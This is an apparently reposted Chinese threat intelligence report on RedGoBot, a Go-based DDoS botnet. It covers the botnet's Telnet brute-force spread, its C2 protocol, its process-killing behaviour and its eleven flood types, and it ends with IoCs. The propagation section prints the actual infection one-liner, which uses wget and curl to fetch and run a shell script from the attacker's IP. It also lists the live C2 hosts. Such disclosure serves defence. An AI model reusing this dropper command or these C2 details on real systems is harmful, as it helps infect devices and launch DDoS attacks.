您的位置:首页 >科技 >

披露:新型Go语言编写的DDoS僵尸网络RedGoBot

2022-12-14 22:09:00    来源:互联网

概述

2022 年 11 月底,奇安信威胁情报中心监测到一起未知家族恶意样本利用 Vacron NVR RCE 漏洞传播的事件。经过我们的详细分析,这一系列样本不属于已知的恶意家族。恶意样本运行起来会打印 "GoBot" 字符串,同时参考作者在其资产网站中的输出"@redbot on top",我们把它命名为 RedGoBot。

RedGoBot 核心样本由 Go 语言编写,当前样本由 Go 1.18.8 编译,目前支持 11 种 DDoS 攻击方式,并且样本内部集成了暴破 Telnet 服务来传播的能力。


【资料图】

根据我们的回溯分析,ReGoBot 历史上有过 3 波传播,样本层面也有过两次明显的变动。虽然目前为止 RedGoBot 的传播量还不是很大,但我们已经看到它在尝试下发 DDoS 攻击指令来测试攻击效果。

RedGoBot 某种程度上会误杀失陷主机上的正常文件及进程,带来严重后果,因此我们建议检查是否存在 Telnet 弱口令来防御 RedGoBot 的入侵。

近期我们对 RedGoBot 的攻击活动进行了监控,监测到其对 " tls.mrrage.xyz" 发起过一次 HTTP GET 方式的攻击测试:

通过奇安信威胁情报平台查询其首个 C2 的解析记录,作者在 9 月完成样本编写后进行过一次扩散,之后恢复平静,近期又开始活跃:

另一个 C2 近期的扩散数据概况:

样本关键行为分析

RedGoBot 在传播的时候,会在失陷主机上执行一个恶意 Shell 脚本文件,Shell 脚本文件中用 wget/curl/busybox 三种方式依次下载 RedGoBot 各种 CPU 架构的二进制文件,保存为 Bins_Bot_hicore_[CPU_ARCH] 形式的文件名并尝试执行。RedGoBot 二进制样本支持的 CPU 架构如下:

IBM S/390

PPC64

PPC64-LE

MIPS

MIPS-LE

ARM

ARM64

x86-64

本文以 x86-64 样本为例进行分析,样本信息:

文件名

文件大小

文件MD5

Bins_Bot_hicore_amd64

8980865 bytes

FD1FACF3A3FCA0FD6108BBBE98F8D5FD

日志记录

样本将运行日志发送给 C2 服务器,此操作将会消耗大量 C2 服务器资源,因此猜测该僵尸网络还处于调试状态:

删除本地文件

RedGoBot 样本还会 Kill 掉失陷主机上的“可疑竞争对手”的进程,并删除对应的文件及文件夹,此操作很可能会误杀失陷主机上的进程,删除掉很多正常文件,给失陷主机带来严重危害。

RedGoBot 要 Kill 的进程,是针对以下目标目录起来的进程,并避开白名单中的目录或文件名。

Kill 进程、删除进程文件所在的目标目录:

/tmp/

/var/run/

/mnt/

/root/

除此之外,RedGoBot 还把以下目录和文件列入”白名单“,不会删除,不会 Kill 对应的进程:

/var/run/lock/

/var/run/shm/

Bins_Bot_hicore*

sshd

resolv.conf

持久化

RedGoBot 会创建一个恶意服务实现持久化,服务详情如下:

标志字符串

打印字符串 "GoBot\\n":

传播方式

RedGoBot 用 Go 语言实现了类似 Gafgyt 家族的 Telnet 暴破传播机制,内置 64 组弱口令用来实施暴破。

一旦暴破成功,将会在失陷主机上执行以下恶意命令:

wget http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh; curl -k -L --output universal.sh http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh;\\n

C2 控制协议

上线

首先,请求 DNS 解析 C2 域名 "peniseater.click":

如果解析失败则直接使用硬编码IP作为C2:

上线包为 "GoBot V1:amd64\\n":

通信协议类似 Gafgyt,使用明文 ASCII 字符串通信,切割空格进行字段分割:

指令解析

RedGoBot 目前支持 3 种指令:

kill-bot: 退出运行

exec: 执行恶意命令

DDoS Attack: 发起 DDoS 攻击

当 RedGoBot 收到 "kill-bot" 指令时,退出 Bot 进程:

当 RedGoBot 收到 "exec" 指令,则会执行 Payload 提供的恶意命令:

当 RedGoBot 收到以下指令,则会发起对应的 DDoS 攻击:

Name

Description

HttpPost_Send

HTTP Flood (POST)

HttpGet_Send

HTTP Flood (GET)

Icmp_Send

ICMP Flood

TCPPsh_Send

TCP Flood (spurious PUSH)

TCPSyn_Send

TCP SYN Flood

TCPAck_Send

TCP ACK Flood

TCPHandshake_Send

TCP Flood

TCPHold_Send

TCP Flood

UDP_Send

UDP Flood

VSE_Send

VSE Flood

OpenVpn_Send

Openvpn UDP Flood

扩展分析

样本更新历史

我们通过在样本库中回溯关联,发现该僵尸网络的样本于今年九月开始更新,初始版本中样本并未基于 Golang Interface 实现攻击方式的多态特性,而是根据攻击指令,直接调用对应的 DDoS 方法:

虽然作者在上线包中将此版本同样定义为 V1,但是我们将此初始版本定义为 V1.0:

作者于几天后的版本中就加入了基于 Interface 实现的多态特性,我们将此版本定义为 V1.1:

可疑的其他相关僵尸网络

我们对攻击者的资产进行了关联分析,发现作者除了 RedGoBot 僵尸网络以外,疑似还拥有一个 Moobot 僵尸网络,该 Moobot 僵尸网络的部分信息如下:

C2 = "cdn.cattoloveslily.wtf:38241"

MD5 = 0C817D839E014CEB4350E6989AC85B08

ITW_IP = 179.43.175.5

通过TI查询 C2 的解析记录,可以发现该 Moobot 僵尸网络开始传播时间与 RedGoBot 的新样本基本一致,从今年 11 月份开始进行扩张,当前规模同样较小:

IoCs

MD5:

C1492F719A4553BB4280B5A8C8C39095

31BE883A1346F656DF5061BC784060A7

3C404053296EFD41DAE11A0A39BE3808

FD1FACF3A3FCA0FD6108BBBE98F8D5FD

FAD7F1073FE267FCA24927B626AFAA1F

E6327957732150FC03594E4F28933FA4

7E6261537E3499083BB5A519212B955C

CA4A1FCCD1E13A8AC5FEFB57C32F1548

CD56BEA395C994290EBC71CC1482DFE0

AAEE43E63D5A3ABD70FFA774A16C816E

C2:

RedGoBot:

185.246.221.220:6001

peniseater.click:6001

znet.whatareyousearchingfor.net:6001

185.213.26.101:6001

Moobot:

cdn.cattoloveslily.wtf:38241

标签: 僵尸网络 目标目录 攻击指令

相关阅读